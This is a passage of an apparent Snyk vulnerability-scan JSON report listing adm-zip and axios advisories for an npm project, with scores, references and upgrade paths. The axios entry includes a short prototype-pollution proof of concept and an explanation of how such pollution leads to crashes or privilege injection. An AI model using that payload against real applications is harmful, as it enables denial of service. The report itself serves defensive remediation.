Commit](https://github.com/openbrf/openbrf/commit/db32272c2eb5324eb3df46c39a53381efea209f4)\n- [GitHub Issue](https://github.com/cthackers/adm-zip/issues/574)\n- [Vulnerable Code utils.js:65-88](https://github.com/cthackers/adm-zip/blob/2b4d84087d45344643e0183756e19191d52815cc/util/utils.js#L65-L88)\n",
"epssDetails": {
"percentile": "0.05640",
"probability": "0.00171",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-76845"
],
"CWE": [
"CWE-59"
]
},
"packageName": "adm-zip",
"proprietary": false,
"creationTime": "2026-08-27T08:59:37.276884Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-24T18:48:31Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-27T08:59:37.456389Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:13:10.091074Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"adm-zip@0.5.16"
],
"upgradePath": [
false,
"adm-zip@0.6.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "adm-zip",
"version": "0.5.16"
},
{
"id": "SNYK-JS-ADMZIP-19846655",
"title": "Improper Handling of Highly Compressed Data (Data Amplification)",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Dilipkumar Choudhary"
],
"semver": {
"vulnerable": [
"<0.6.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.6.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "adm-zip",
"references": [
{
"url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-rcw4-f5rp-g42v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/cthackers/adm-zip",
"title": "github.com"
},
{
"url": "https://github.com/cthackers/adm-zip/blob/v0.6.0/methods/inflater.js",
"title": "github.com"
},
{
"url": "https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6",
"title": "GitHub Commit"
},
{
"url": "https://github.com/cthackers/adm-zip/commit/8bc411184de1b5ca28138c53074fb61119994dde",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-20T14:04:16.412603Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-16T01:31:39.529839Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-14T02:01:13.616624Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-14T02:01:13.616624Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-20T14:04:16.412603Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T01:31:39.529839Z"
}
],
"description": "## Overview\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\nAffected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the `inflater` process. An attacker can exhaust system memory and disrupt service availability by submitting specially crafted ZIP archives with highly compressible entries that declare a zero uncompressed size.\n## Remediation\nUpgrade `adm-zip` to version 0.6.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/cthackers/adm-zip/security/advisories/GHSA-rcw4-f5rp-g42v)\n- [github.com](https://github.com/cthackers/adm-zip)\n- [github.com](https://github.com/cthackers/adm-zip/blob/v0.6.0/methods/inflater.js)\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6)\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/8bc411184de1b5ca28138c53074fb61119994dde)\n",
"epssDetails": {
"percentile": "0.50446",
"probability": "0.00684",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-92000"
],
"CWE": [
"CWE-409"
],
"GHSA": [
"GHSA-rcw4-f5rp-g42v"
]
},
"packageName": "adm-zip",
"proprietary": false,
"creationTime": "2026-09-16T07:02:48.841887Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-15T23:24:46Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-16T07:02:49.097732Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-14T02:01:13.616624Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"adm-zip@0.5.16"
],
"upgradePath": [
false,
"adm-zip@0.6.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "adm-zip",
"version": "0.5.16"
},
{
"id": "SNYK-JS-ADMZIP-19963965",
"title": "Memory Allocation with Excessive Size Value",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"José Antonio Zamudio Amaya"
],
"semver": {
"vulnerable": [
"<0.6.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.6.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "adm-zip",
"references": [
{
"url": "https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6",
"title": "GitHub Commit"
},
{
"url": "https://github.com/cthackers/adm-zip/releases/tag/v0.6.1",
"title": "GitHub Release"
},
{
"url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-7q85-xj36-vmfc",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-09-23T13:34:16.868715Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-24T14:20:03.498486Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-24T14:20:03.498486Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-23T13:34:16.868715Z"
}
],
"description": "## Overview\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\nAffected versions of this package are vulnerable to Memory Allocation with Excessive Size Value via the async decompression path in `methods/inflater.js`, where the decompression size cap enforced by zlib's `maxOutputLength` option is not applied to the streaming API. An attacker can supply a zip archive whose entries declare a small or zero uncompressed size but contain a large compressed payload (a decompression bomb), causing unbounded memory growth and a crash of the host process. Additionally, a declared size of 0 previously disabled the cap entirely on the synchronous path, allowing the same class of attack through entries that lie about their size.\n## Remediation\nUpgrade `adm-zip` to version 0.6.1 or higher.\n## References\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/491600683dacb6cb9fe0718a0eeb9cb5eb49afa6)\n- [GitHub Release](https://github.com/cthackers/adm-zip/releases/tag/v0.6.1)\n- [Maintainer's Advisory](https://github.com/cthackers/adm-zip/security/advisories/GHSA-7q85-xj36-vmfc)\n",
"epssDetails": {
"percentile": "0.46841",
"probability": "0.00609",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-77301"
],
"CWE": [
"CWE-789"
],
"GHSA": [
"GHSA-7q85-xj36-vmfc"
]
},
"packageName": "adm-zip",
"proprietary": false,
"creationTime": "2026-09-20T09:07:08.742293Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-18T17:18:01Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-20T09:07:08.910929Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-24T14:20:03.498486Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"adm-zip@0.5.16"
],
"upgradePath": [
false,
"adm-zip@0.6.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "adm-zip",
"version": "0.5.16"
},
{
"id": "SNYK-JS-ADMZIP-20335412",
"title": "Incorrect Behavior Order",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"credit": [
"Ezinne Kalu"
],
"semver": {
"vulnerable": [
"<0.6.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.6.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.2,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "adm-zip",
"references": [
{
"url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-p634-w6r4-rjp2",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/cthackers/adm-zip/commit/05101d47b3b983b705cc3e66fc34366118ba7b99",
"title": "GitHub Commit"
}
],
"cvssDetails": [],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.2,
"cvssVersion": "4.0",
"modificationTime": "2026-09-30T12:31:40.964343Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "medium",
"baseScore": 5.9,
"cvssVersion": "3.1",
"modificationTime": "2026-09-30T12:31:40.964343Z"
}
],
"description": "## Overview\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\nAffected versions of this package are vulnerable to Incorrect Behavior Order via duplicate entry names in a ZIP archive processed by `zipFile.js`. Because `adm-zip` stores all entries in `entryList` (used by `extractAllTo()`) but only the last occurrence of a name in `entryTable` (used by `getEntry()`), an attacker can supply an archive containing two entries with the same name. An application that validates entry content by calling `getEntry()` before extracting will inspect one file, while `extractAllTo()` writes a different file to disk, allowing the attacker to bypass content validation and land arbitrary content on the filesystem.\n## Remediation\nUpgrade `adm-zip` to version 0.6.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/cthackers/adm-zip/security/advisories/GHSA-p634-w6r4-rjp2)\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/05101d47b3b983b705cc3e66fc34366118ba7b99)\n",
"epssDetails": null,
"identifiers": {
"CVE": [],
"CWE": [
"CWE-436",
"CWE-696"
],
"GHSA": [
"GHSA-p634-w6r4-rjp2"
]
},
"packageName": "adm-zip",
"proprietary": false,
"creationTime": "2026-09-30T12:31:40.655510Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-29T23:11:01Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-30T12:31:40.839797Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-30T12:31:40.964343Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"adm-zip@0.5.16"
],
"upgradePath": [
false,
"adm-zip@0.6.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "adm-zip",
"version": "0.5.16"
},
{
"id": "SNYK-JS-ADMZIP-20335417",
"title": "Uncaught Exception",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Barnabas Charumbuka"
],
"semver": {
"vulnerable": [
"<0.6.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.6.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "adm-zip",
"references": [
{
"url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-8238-w5pm-2374",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/cthackers/adm-zip/commit/5e70d3a26097d68fa981c41f022c053117174e49",
"title": "GitHub Commit"
}
],
"cvssDetails": [],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-30T12:32:15.300799Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-30T12:32:15.300799Z"
}
],
"description": "## Overview\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\nAffected versions of this package are vulnerable to Uncaught Exception via `inflateAsync` in `methods/inflater.js` when processing a ZIP entry containing malformed DEFLATE data. The `zlib.createInflateRaw` stream emits an `error` event (e.g. `Z_DATA_ERROR`) that has no registered listener, causing Node.js to re-throw it as an uncaught exception on a later tick and crash the host process.\n## Remediation\nUpgrade `adm-zip` to version 0.6.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/cthackers/adm-zip/security/advisories/GHSA-8238-w5pm-2374)\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/5e70d3a26097d68fa981c41f022c053117174e49)\n",
"epssDetails": null,
"identifiers": {
"CVE": [],
"CWE": [
"CWE-248"
],
"GHSA": [
"GHSA-8238-w5pm-2374"
]
},
"packageName": "adm-zip",
"proprietary": false,
"creationTime": "2026-09-30T12:32:14.621126Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-29T23:10:09Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-30T12:32:14.800210Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-30T12:32:15.300799Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"adm-zip@0.5.16"
],
"upgradePath": [
false,
"adm-zip@0.6.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "adm-zip",
"version": "0.5.16"
},
{
"id": "SNYK-JS-ADMZIP-20335419",
"title": "Incorrect Permission Assignment for Critical Resource",
"CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N/E:P",
"credit": [
"Ahmed Elmahgob"
],
"semver": {
"vulnerable": [
"<0.6.1"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.6.1"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.4,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "adm-zip",
"references": [
{
"url": "https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87",
"title": "GitHub Commit"
},
{
"url": "https://github.com/x86byte/adm-zip_LPE-PoC",
"title": "PoC in GitHub"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"cvssV3BaseScore": 7.1,
"modificationTime": "2026-10-07T13:32:38.713540Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.4,
"cvssVersion": "4.0",
"modificationTime": "2026-10-13T15:34:18.166575Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-13T15:34:18.166575Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.1,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T13:32:38.713540Z"
}
],
"description": "## Overview\n[adm-zip](https://www.npmjs.com/package/adm-zip) is a JavaScript implementation for zip data compression for NodeJS.\n\nAffected versions of this package are vulnerable to Incorrect Permission Assignment for Critical Resource via the `fileAttr` getter in `headers/entryHeader.js`, which preserves attacker-controlled Unix special permission bits (setuid `0o4000`, setgid `0o2000`, and sticky `0o1000`) from ZIP archive metadata during extraction. When the `keepOriginalPermission` option is used and extraction is performed as root, an attacker who controls the ZIP archive can plant a setuid-root binary, achieving local privilege escalation.\r\n\r\n**Note:** This is only exploitable when extraction is performed as a privileged user (e.g., root) with the `keepOriginalPermission` option enabled.\n## Remediation\nUpgrade `adm-zip` to version 0.6.1 or higher.\n## References\n- [GitHub Advisory](https://github.com/cthackers/adm-zip/security/advisories/GHSA-j5f4-cc29-5x44)\n- [GitHub Commit](https://github.com/cthackers/adm-zip/commit/6a63c339b83c52915483efacda517660a7a7bf87)\n- [PoC in GitHub](https://github.com/x86byte/adm-zip_LPE-PoC)\n",
"epssDetails": {
"percentile": "0.03558",
"probability": "0.00149",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102282"
],
"CWE": [
"CWE-732"
],
"GHSA": [
"GHSA-j5f4-cc29-5x44"
]
},
"packageName": "adm-zip",
"proprietary": false,
"creationTime": "2026-09-30T12:32:35.732670Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-29T18:24:57Z",
"exploitDetails": {
"sources": [
"PoC in GitHub",
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-30T12:32:35.896585Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-13T15:34:18.166575Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"adm-zip@0.5.16"
],
"upgradePath": [
false,
"adm-zip@0.6.1"
],
"isUpgradable": true,
"isPatchable": false,
"name": "adm-zip",
"version": "0.5.16"
},
{
"id": "SNYK-JS-AXIOS-15252993",
"title": "Prototype Pollution",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Bartłomiej Dmitruk"
],
"semver": {
"vulnerable": [
"<0.30.3",
">=1.0.0-alpha.1 <1.13.5"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"0.30.3",
"1.13.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "axios",
"references": [
{
"url": "https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/pull/7369",
"title": "GitHub PR"
},
{
"url": "https://github.com/axios/axios/releases/tag/v1.13.5",
"title": "GitHub Release"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-02-12T05:42:15.361218Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-07T14:05:58.744099Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-07T14:05:58.744099Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-02-12T05:42:15.361218Z"
}
],
"description": "## Overview\n[axios](https://www.npmjs.com/package/axios) is a promise-based HTTP client for the browser and Node.js.\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mergeConfig` function. An attacker can cause the application to crash by supplying a malicious configuration object containing a `__proto__` property, typically by leveraging `JSON.parse()`.\n## PoC\n```js\r\nimport axios from \"axios\";\r\n\r\nconst maliciousConfig = JSON.parse('{\"__proto__\": {\"x\": 1}}');\r\nawait axios.get(\"https://domain/get\", maliciousConfig);\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `__proto__`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `__proto__` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `__proto__.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n\n- Web browser\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `axios` to version 0.30.3, 1.13.5 or higher.\n## References\n- [GitHub Commit](https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57)\n- [GitHub PR](https://github.com/axios/axios/pull/7369)\n- [GitHub Release](https://github.com/axios/axios/releases/tag/v1.13.5)\n",
"epssDetails": {
"percentile": "0.79995",
"probability": "0.01989",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-25639"
],
"CWE": [
"CWE-1321"
],
"GHSA": [
"GHSA-43fc-jf86-j433"
]
},
"packageName": "axios",
"proprietary": false,
"creationTime": "2026-02-10T09:21:34.642158Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-02-09T20:53:59Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-02-10T10:00:52.149660Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-07T14:05:58.744099Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"rag-builder@1.0.0",
"axios@1.12.2"
],
"upgradePath": [
false,
"axios@1.13.5"
],
"isUpgradable": true,
"isPatchable": false,
"name": "axios",
"version": "1.12.2"
},
{
"id": "SNYK-JS-AXIOS-15969258",
"title": "HTTP Response Splitting",
"CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L",
"credit": [
"raulvdv"
],
"semver": {
"vulnerable": [
"<0.31.0",
">=1.0.0 <1.15.0"
]
},
"exploit": "Not Defined",
"fixedIn": [
"0.31.0",
"1.15.0"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "axios",
"references": [
{
"url": "https://github.com/axios/axios/commit/363185461b90b1b78845dc8a99a1f103d9b122a1",
"title": "GitHub Commit"
},
{
"url": "https://github.com/axios/axios/pull/10688/changes/24c45391b6529404fa59e8c2e5089098d58ee902",
"title": "GitHub Commit (v1 backport)"
},
{
"url": "https://github.com/axios/axios/pull/10660",
"title": "GitHub PR"
},
{
"url": "https://github.com/axios/axios/releases/tag/v1.15.0",
"title": "GitHub Release"
},
{
"url": "https://github.com/axios/axios/security/advisories/GHSA-fvcv-3m26-pcqx",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "NVD",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
"cvssV3BaseScore": 4.8,
"modificationTime": "2026-04-22T01:19:10.977955Z"
},
{
"assigner": "Red Hat",
"severity": "high",
